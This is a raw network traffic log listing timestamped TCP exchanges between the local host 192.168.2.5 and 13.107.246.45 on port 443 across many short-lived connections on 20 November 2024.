Nov 20, 2024 06:40:45.599695921 CET	49965	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.599709034 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.599718094 CET	49965	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.599723101 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.601200104 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.601289988 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.601366043 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.601372957 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.601413012 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.601489067 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.601664066 CET	49970	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.601670027 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.601674080 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.601682901 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.601686001 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.601692915 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.601766109 CET	49970	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.602008104 CET	49970	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.602032900 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.603791952 CET	49971	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.603810072 CET	443	49971	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.603979111 CET	49971	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.604104996 CET	49971	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.604120016 CET	443	49971	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.622448921 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.622472048 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.622513056 CET	49966	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.622528076 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.622586012 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.622684002 CET	49966	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.622697115 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.622848034 CET	49966	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.622853994 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.624659061 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.624677896 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.624799967 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.624938011 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.624948978 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.221190929 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.221668959 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.221729040 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.222126007 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.222141027 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.273559093 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.274035931 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.274049997 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.274461031 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.274465084 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.280478001 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.281038046 CET	49970	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.281076908 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.281647921 CET	49970	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.281665087 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.283471107 CET	443	49969	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.283987045 CET	49969	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.284008026 CET	443	49969	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.284574986 CET	49969	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.284580946 CET	443	49969	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.287111044 CET	443	49971	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.287461042 CET	49971	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.287480116 CET	443	49971	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.287998915 CET	49971	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.288003922 CET	443	49971	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.321578026 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.322923899 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.322962999 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.322990894 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.323036909 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.323167086 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.323179007 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.323199034 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.323204041 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.326858044 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.326898098 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.326971054 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.327193022 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.327209949 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.374656916 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.374682903 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.374842882 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.374957085 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.375133038 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.375343084 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.375343084 CET	49972	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.375355959 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.375364065 CET	443	49972	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.378936052 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.378956079 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.379154921 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.379317999 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.379326105 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.384471893 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.384768009 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.384819031 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.384921074 CET	49970	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.384969950 CET	49970	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.384969950 CET	49970	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.384993076 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.385019064 CET	443	49970	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.389025927 CET	49975	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.389043093 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.389306068 CET	49975	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.389498949 CET	49975	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.389512062 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.397371054 CET	443	49971	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.397705078 CET	443	49971	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.397809029 CET	49971	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.398442984 CET	49971	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.398467064 CET	443	49971	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.401422977 CET	49976	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.401459932 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.401535988 CET	49976	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.401999950 CET	49976	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.402018070 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.422566891 CET	443	49969	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.423949003 CET	443	49969	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.424215078 CET	49969	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.424215078 CET	49969	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.424253941 CET	49969	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.424263954 CET	443	49969	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.426548958 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.426574945 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.426903009 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.427081108 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.427094936 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.974199057 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.994637012 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.994669914 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:46.995661974 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:46.995667934 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.030896902 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.038006067 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.045366049 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.045387030 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.046084881 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.046089888 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.046904087 CET	49975	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.046921015 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.047660112 CET	49975	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.047663927 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.082891941 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.087388039 CET	49976	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.087388992 CET	49976	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.087414980 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.087439060 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.092869997 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.093050957 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.093086958 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.093095064 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.093223095 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.093298912 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.093312979 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.093323946 CET	49973	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.093329906 CET	443	49973	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.099737883 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.099769115 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.099836111 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.100213051 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.100225925 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.104454041 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.104954958 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.104976892 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.105468988 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.105473995 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.141460896 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.141580105 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.141685009 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.141695023 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.141729116 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.141779900 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.142433882 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.142445087 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.142452955 CET	49974	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.142457008 CET	443	49974	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.144249916 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.144442081 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.144498110 CET	49975	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.144851923 CET	49975	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.144865990 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.144875050 CET	49975	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.144881964 CET	443	49975	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.148246050 CET	49979	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.148272991 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.148334026 CET	49979	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.149565935 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.149590015 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.149652958 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.151016951 CET	49979	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.151031017 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.151721954 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.151735067 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.191611052 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.191874981 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.191930056 CET	49976	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.192030907 CET	49976	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.192047119 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.192059040 CET	49976	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.192065954 CET	443	49976	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.195950031 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.196019888 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.196105003 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.196288109 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.196320057 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.209563971 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.209955931 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.210004091 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.210036039 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.210047007 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.210061073 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.210064888 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.212564945 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.212596893 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.212671995 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.212860107 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.212886095 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.738297939 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.739113092 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.739134073 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.740029097 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.740035057 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.784286022 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.792099953 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.795829058 CET	49979	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.795855999 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.796050072 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.796117067 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.796297073 CET	49979	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.796307087 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.797132015 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.797147036 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.839840889 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.839991093 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.840045929 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.840065002 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.840094090 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.840141058 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.840162039 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.840183020 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.840183020 CET	49978	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.840199947 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.840209007 CET	443	49978	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.843401909 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.843481064 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.843559027 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.843763113 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.843801022 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.865113020 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.865557909 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.865596056 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.866182089 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.866193056 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.878114939 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.878547907 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.878591061 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.879251003 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.879262924 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.891531944 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.891568899 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.891622066 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.891643047 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.891666889 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.891735077 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.891741991 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.891803026 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.891848087 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.891881943 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.891896009 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.892122984 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.892180920 CET	49979	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.892208099 CET	49979	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.892220020 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.892229080 CET	49979	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.892232895 CET	443	49979	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.894824028 CET	49984	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.894876003 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.894949913 CET	49984	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.895060062 CET	49984	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.895077944 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.895427942 CET	49985	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.895473003 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.895539045 CET	49985	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.895692110 CET	49985	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.895719051 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.967914104 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.968264103 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.968348026 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.981679916 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.981751919 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.981832027 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:47.981856108 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.981915951 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:47.981977940 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.010087013 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.010114908 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.010128021 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.010140896 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.010145903 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.010210991 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.010243893 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.010262012 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.014457941 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.014512062 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.014590979 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.016052008 CET	49987	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.016082048 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.016155005 CET	49987	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.017149925 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.017189026 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.017672062 CET	49987	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.017698050 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.487163067 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.488177061 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.488178015 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.488243103 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.488276958 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.565258026 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.566180944 CET	49985	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.566180944 CET	49985	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.566246033 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.566292048 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.573740005 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.574193954 CET	49984	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.574228048 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.574578047 CET	49984	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.574594975 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.587958097 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.588155031 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.588459015 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.588531971 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.588531971 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.588578939 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.588613033 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.591377974 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.591414928 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.591574907 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.591672897 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.591679096 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.657746077 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.658418894 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.658443928 CET	443	49986	13.107.246.45	192.168.2.5
